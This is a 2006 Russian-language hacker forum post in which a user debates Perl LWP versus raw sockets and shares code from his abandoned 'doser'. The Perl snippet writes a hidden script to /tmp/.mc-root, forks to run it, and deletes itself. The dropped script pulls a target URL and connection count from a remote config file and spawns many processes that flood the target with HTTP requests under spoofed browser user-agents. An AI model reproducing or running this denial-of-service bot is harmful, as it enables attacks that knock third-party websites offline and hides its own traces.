
12.11.2006, 05:16
|
|
Познающий
Регистрация: 11.09.2006
Сообщений: 59
С нами:
10349497
Репутация:
52
|
|
Как заметил KPOT_f!nd это рельано лажа.
hidden тока воот объясни почему ЛВП говно да еще и в 10 раз проигрывает сокетам?
Многопоточность в перле нормально работает несморя на то что написано в доках.
Вот мой вариант на базе модели процессов с форкам, немножка с полиморфизмом=)) эта открывок из моего заброшеннога досера, так что разбирайся сам:
Код:
use strict;open(SAME,"$0");open(WRIT,">/tmp/.mc-root") or die "$!";
my @same_file = <SAME>;my @r = ();
foreach(@same_file[6..17]){s/^#//;push @r,$_;}
print WRIT @r;close SAME;close WRIT;
if(!(my $pid = fork)) {system('perl /tmp/.mc-root');print "OK";}
# < portible code >
#use strict;use IO::Socket;our $url='http://127.0.0.1/7357/config.txt';
#our$parent=0;our@childs=();our$c0nf=getCONF($url);$c0nf=~/(\S+)#(\d+)/;
#our$d0s_url=$1;our@d0s_h0s=split(/\//,$d0s_url);$d0s_h0s[2]=~s/www.//;
#our$c0nn=$2;our@browsers=("Mozilla/2.0 (compatible; Ask Jeeves/Teoma)","curl/7.13.1 (powerpc-apple-darwin 8.0) libcurl/7.13.1 OpenSSL/0.9.7b zlib/1.2.2","Googlebot/2.1 (+http://www.google.com/bot.html)","Opera 6.03 on Windows 2000, cloaked as MSIE: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]","Internet Explorer 5.2 on Mac OS X: Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Internet Explorer 7.0 beta running on Windows Longhorn: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Off By One 3.5a on Windows XP: Mozilla/4.7 (compatible; OffByOne; Windows 2000)");
#F0RK:
#for(my$i=0;$i<=$c0nn;$i++){my$pid=fork;my$oldpid=$$;if(!defined($pid)){waitpid($pid,0);}
#elsif($pid==0){$parent=$oldpid;last F0RK;}}if($parent){&d0s;}
#sub getCONF{my@host = split(/\//,$url);$host[2]=~s/www.//;
#my$s0ck=IO::Socket::INET->new(PeerAddr=>$host[2],PeerPort=>80,Proto=>'tcp')||die "err0r c0nnecti0n $!\n";
#print $s0ck join ("\n"=>"GET $url HTTP/1.1","Host: $host[2]","User-Agent: Internet Explorer 6.5","","");
#chomp(my@socket=<$s0ck>);$s0ck->close;my$src=join("",@socket);return $src;}
#sub d0s{my$s0ck=IO::Socket::INET->new(PeerAddr=>$d0s_h0s[2],PeerPort => 80,Proto=>'tcp')||die "err0r c0nnecti0n $!\n";print $s0ck join ("\n"=>"GET $d0s_url HTTP/1.1","Host: 127.0.0.1","User-Agent: Internet Explorer 6.5","","");$s0ck->close;}`rm -f $0`;#d0s3r 0.1 (c)n4n0bit
Кстати genom-- накуй ты используешь сдесь timeout ??? он сдесь вообще в роли другой а именно ожидает ответ от сервера в течении таймаута етога, а не как ты наверное подумал конект каждую секунжу - что бы был конект каждую секунду нужна воспользоваться sleep(), далее вообще без коментов...
Последний раз редактировалось n4n0bit; 12.11.2006 в 05:26..
|
|
|